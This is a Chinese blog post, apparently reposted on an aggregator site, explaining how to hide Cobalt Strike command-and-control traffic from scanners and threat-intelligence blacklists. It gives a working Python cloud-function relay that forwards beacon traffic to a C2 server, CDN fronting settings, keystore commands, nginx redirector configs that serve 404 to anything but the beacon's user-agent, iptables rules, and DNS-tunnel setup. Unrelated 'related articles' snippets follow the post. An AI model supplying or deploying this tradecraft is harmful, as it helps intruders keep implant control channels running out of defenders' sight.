cobaltstrike 流量隐藏

news2024/11/16 16:42:39

云函数

新建一个云函数,在代码位置进行修改

image-20240119151501645

首先导入 yisiwei.zip 的云函数包

PYTHON
# -*- coding: utf8 -*-
import json, requests, base64


def main_handler(event, context):
    C2 = 'https://49.xx.xx.xx'  # 这里可以使用 HTTP、HTTPS~下角标~ 
    path = event['path']
    headers = event['headers']
    print(event)
    if event['httpMethod'] == 'GET':
        resp = requests.get(C2 + path, headers=headers, verify=False)
    else:
        resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)
        print(resp.headers)
        print(resp.content)
    response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),
                "body": str(base64.b64encode(resp.content))[2:-1]}
    return response

记得部署

image.png

创建触发器,选择新建的模板和 API 网关触发方式

image-20240119151524839

image-20240119151543820

image-20240119151600716

监听器配置填入地址 service-cv4vqio3-1307700818.sh.apigw.tencentcs.com

image-20240119151629725

image-20240119151658228

CDN

cobaltstrike 监听器设置为 CDN 的地址,HTTPS Host Header 设置为加速的域名

image-20240119151725639

腾讯云 CDN 加速 IP 表,具体可通过多地 ping 域名获取最新的

JAVASCRIPT
1.180.204.161 1.180.204.227 1.198.4.42 106.117.249.12 1.198.4.95
1.31.130.154 101.206.209.141 106.117.249.11  106.117.249.13 106.117.249.14 

腾讯云配置

image-20240119151740445

腾讯云配置一定要设置为不缓存,不然上线一次就不上线了

image-20240119151754380

成功上线

image-20240119151809700

Nginx 域前置

当我们使用原版 CS 挂载到公网 VPS 上会被扫描,大概率会出现以下情况

fa87ba386b6a7051ae2343dd69c30ac.png

很容易致使 VPS 被情报社区标黑,进而导致在实战项目上出现被拦截无法上线的情况

image.png

这时候我们有两个解决方法

修改原版 jar 包默认特征
使用域前置技术配合 nginx 进行转发,防止被扫描

首先是需要一个域名,国内 VPS 需要备案,国外可以使用 cloudflare 进行加速,这里使用的是腾讯云

添加域名后可进行证书下载,这里我们选择 nginx

image.png

申请完成之后对文件进行重命名,生成 cobaltstrike.store

主要用到两个文件 server.pemserver.key

image.png

通过以下命令进行生成

GO
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:123456 

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cobaltstrike.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cloudflare_cert

密码与输入命令需保持一致

image.png

nginx 端口转发注意 profile 必须配置 set trust_x_forwarded_for "true"

image.png

nginx 命令如下

PLAINTEXT
ginx配置文件目录:
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/nginx/conf.d/*.conf

启动nginx:
service nginx restart
systemctl status nginx.service
systemctl restart nginx

重新修改配置
nginx -s reload

http 监听器 default 文件配置

PLAINTEXT
http 转发80端口
编辑/etc/nginx/sites-enabled/default
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name localhost;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

root /var/www/html;

# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;

location / {
    # user_agent与profile配置内容一致。只对上线的请求做端口转发,屏蔽其他流量
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.39 (KHTML, like Gecko) Chrome/92.0.4519.137 Safari/539.39") {
return 404;
}
     
    #转发后的端口12345,可修改为其他端口
proxy_pass http://localhost:12345;
}
}

https 监听器 default 文件配置

PLAINTEXT
server 
{
	listen 443 ssl default_server;
	listen [::]:443 ssl default_server;
	server_name CDN;
	expires    off;              
    proxy_redirect      off;              
    proxy_set_header    Host                $host;              
	proxy_set_header    X-Forwarded-For     $proxy_add_x_forwarded_for;              
	proxy_set_header    X-Real-IP           $remote_addr;              
	
	#ssl证书文件位置
	ssl_certificate   /etc/nginx/conf.d/server.crt;
	ssl_certificate_key /etc/nginx/conf.d/server.key;
	
	root /var/www/html;
	index index.html;
	
	location ~*/(v1/xxx|v2/xxx) 
	{
		if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5396.2 Safari/537.36") 
		{
			return 404;
		}
		#转发后的端口10086,可修改为其他端口
		proxy_pass https://127.0.0.1:10086;
	}
	
	location /
	{
		proxy_pass https://www.baidu.com;
	}
}

除此以外,转发后的端口从外部仍能扫描,因此需要使用 iptables 进行限制

PLAINTEXT
sudo iptables -A INPUT -p tcp --dport 端口号 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 端口号 -j DROP

监听器配置

image.png|400

DNS 隐匿隧道

首先需要购买域名,为什么推荐这个网站,便宜且可以使用支付宝支付,免除需要 VISA、国外信用卡麻烦

https://www.namesilo.com

腾讯云需要配置进行域名验证

image.png

namesilo` 设置 `change nameservers`,12 分别填入腾讯云的两个地址,等待域名状态变为 `Active

image.png

image.png

添加一条 A 记录指向 CS 服务器的公网 IP,再添加几条 NS 记录指向 A 记录域名即可

image.png

监听器新建 DNS 可能会提示 53 端口被占用

解决方案

PLAINTEXT
systemctl stop systemd-resolved 
#停用 systemd-resolved 服务

vi /etc/systemd/resolved.conf
[Resolve]
DNS=8.8.8.8 #取消注释,增加dns
#FallbackDNS=
#Domains=
#LLMNR=no
#MulticastDNS=no
#DNSSEC=no
#Cache=yes
DNSStubListener=no #取消注释,把yes改为no

ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf

监听器配置如下 ns1.xxxx.comns2.xxxx.com

image.png|400

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1605633.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在Windows 11/10/8中打开计算机管理的几种方法,总有一种适合你

序言 计算机管理是Windows中一个功能强大的工具,允许你管理和监视计算机系统的各个方面。使用“计算机管理”,你可以快速访问“设备管理器”、“磁盘管理”、“本地用户管理”等。本文将向你展示如何在Windows 11/10/8中打开“计算机管理器”。 网上有很多方法可以打开计算…

Spring Security详细学习第一篇

Spring Security 前言Spring Security入门编辑Spring Security底层原理UserDetailsService接口PasswordEncoder接口 认证登录校验密码加密存储退出登录 前言 本文是作者学习三更老师的Spring Security课程所记录的学习心得和笔记知识,希望能帮助到大家 Spring Sec…

单分支:if语句

示例&#xff1a; /*** brief how about if? show you here.* author wenxuanpei* email 15873152445163.com(query for any question here)*/ #define _CRT_SECURE_NO_WARNINGS//support c-library in Microsoft-Visual-Studio #include <stdio.h>#define if_state…

C语言学习/复习23---

一、数据的存储 二、数据类型的介绍 三、整型在内存中的存储 将原码转换为补码。如果数是正数&#xff0c;则补码与原码相同&#xff1b;如果数是负数&#xff0c;则先将原码按位取反&#xff0c;然后加1。将补码转换原补码。如果数是正数&#xff0c;则补码与原码相同&#x…

【笔试强训】双指针的思想!

1.数组中字符串的最小距离 题目链接 解题思路&#xff1a; 小技巧 ✌&#xff1a;标记两个字符串是否被找到&#xff0c;每次找到一个字符串就更新一次答案来保证找到的是最小距离。 实现代码&#xff1a; #include <iostream> using namespace std;int main() {in…

快手本地生活服务商系统怎么操作?

当下&#xff0c;抖音和快手两大短视频巨头都已开始布局本地生活服务&#xff0c;想要在这一板块争得一席之地。而这也很多普通人看到了机遇&#xff0c;选择成为抖音和快手的本地生活服务商&#xff0c;通过将商家引进平台&#xff0c;并向其提供代运营服务&#xff0c;而成功…

截图快捷键失效的解决方法 _ 统信UOS _ 麒麟KOS _ 中科方德NFS

原文链接&#xff1a;截图快捷键失效的解决方法 | 统信UOS | 麒麟KOS | 中科方德NFS Hello&#xff0c;大家好啊&#xff01;在日常使用计算机时&#xff0c;截图功能是我们经常需要用到的一个实用工具&#xff0c;它可以帮助我们快速保存屏幕上的信息&#xff0c;用于报告错误…

恭喜上岸的准研究生们,入学后还有这些奖学金

很多学校都开设了研究生的新生奖学金&#xff0c;有些学校是不分学校等级的全覆盖&#xff0c;比如北京科技大学前两年给研一新生每人发1万。 一般来说&#xff0c;新生奖学金的等级划分就是按考研成绩&#xff0c;所以大家一定要尽可能的考高的分数&#xff0c;不仅仅对评奖学…

云HIS医院管理系统源码 SaaS模式 B/S架构 基于云计算技术

一、系统概述 云HIS系统源码是一款满足基层医院各类业务需要的健康云产品。该系统能帮助基层医院完成日常各类业务&#xff0c;提供病患预约挂号支持、收费管理、病患问诊、电子病历、开药发药、住院检查、会员管理、财务管理、统计查询、医生工作站和护士工作站等一系列常规功…

累积分布函数图(CDF)的介绍、matlab的CDF图绘制方法(附源代码)

在对比如下两个误差的时候&#xff0c;怎么直观地分辨出来谁的误差更低一点&#xff1f;&#xff1a; 通过这种误差时序图往往不容易看出来。 但是如果使用CDF图像&#xff0c;以误差绝对值作为横轴&#xff0c;以横轴所示误差对应的累积概率为纵轴&#xff0c;绘制曲线图&am…

gitlab(docker)安装及使用

GitLab GitLab 是一个用于仓库管理系统的开源项目&#xff0c;使用Git作为代码管理工具&#xff0c;并在此基础上搭建起来的Web服务。 下载(docker) 查询docker镜像gitlab-ce gitlab-ce是它的社区版 [rootlocalhost ~]# docker search gitlab-ce NAME …

Xshell和XFtp下载和使用

Xshell和XFtp下载和使用 最好是官网直接下载。 链接: Xshell官网 Xshell官网最近出了免费个人使用版&#xff0c;但是我直接下载的话感觉非常非常慢&#xff0c;或许挂个梯子会好的多。看到图片的红色字没&#xff0c;可能被骗的人比较多。运行之前的Xshell会显示需要最新版的软…

python/pygame 挑战魂斗罗 笔记(二)

一、建立地面碰撞体&#xff1a; 现在主角Bill能够站立在游戏地图的地面&#xff0c;是因为我们初始化的时候把Bill的位置固定了self.rect.y 250。而不是真正的站在地图的地面上。 背景地图是一个完整的地图&#xff0c;没有地面、台阶的概念&#xff0c;就无法通过碰撞检测来…

Java中类装载的执行过程

类装载的执行过程 类从加载到虚拟机中开始&#xff0c;直到卸载为止&#xff0c;它的整个生命周期包括了&#xff1a;加载、验证、准备、解析、初始化、使用和卸载这7个阶段。其中&#xff0c;验证、准备和解析这三个部分统称为连接&#xff08;linking&#xff09;。 1.加载 …

《八》QSplitter拆分器以及QDockWidget窗口详解

QSplitter简介 QSplitter拆分器允许用户通过拖动子部件之间的边界来控制它们的大小。 单个拆分器可以控制任意数量的小部件。QSplitter的典型用法是创建几个小部件&#xff0c;并使用insertWidget()或addWidget()添加它们。 常用方法 默认情况下&#xff0c;QSplitter会动态…

ollama大语言模型

查看已经安装的大语言模型 ollama list运行大语言模型 ollama run llama2:latest

【前端面试3+1】16 TCP与UDP的区别、如何清除浮动、哪些原因造成阻塞页面渲染、【相同的树】

一、TCP与UDP的区别 TCP&#xff08;Transmission Control Protocol&#xff09;和UDP&#xff08;User Datagram Protocol&#xff09;是两种常用的网络传输协议&#xff0c;它们有以下几点区别&#xff1a; 1、连接性&#xff1a; TCP是面向连接的协议&#xff0c;通信双方在…

multiprocessing Process子进程会把非main的代码重新再次执行

from funasr import AutoModel print("2222")def play_audio(text):print(text)if __name__ __main__:audio_process multiprocessing.Process(targetplay_audio, args("1111",))audio_process.start() # 启动进程audio_process_id audio_process.pid解…

Android播放音频、视频

1、播放音频 <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:orientation"vertical"android:layout_width"match_parent"android:layout_height"match_parent" ><Buttonandroid:id"i…

【Python基础】Redis

文章目录 [toc]进入Redis交互模式Redis服务测试切换仓库字符串Key命令HashListSetZSet数据添加数据查询数据更新数据删除查询存在的所有key 个人主页&#xff1a;丷从心 系列专栏&#xff1a;Python基础 学习指南&#xff1a;Python学习指南 进入Redis交互模式 redis-cliRed…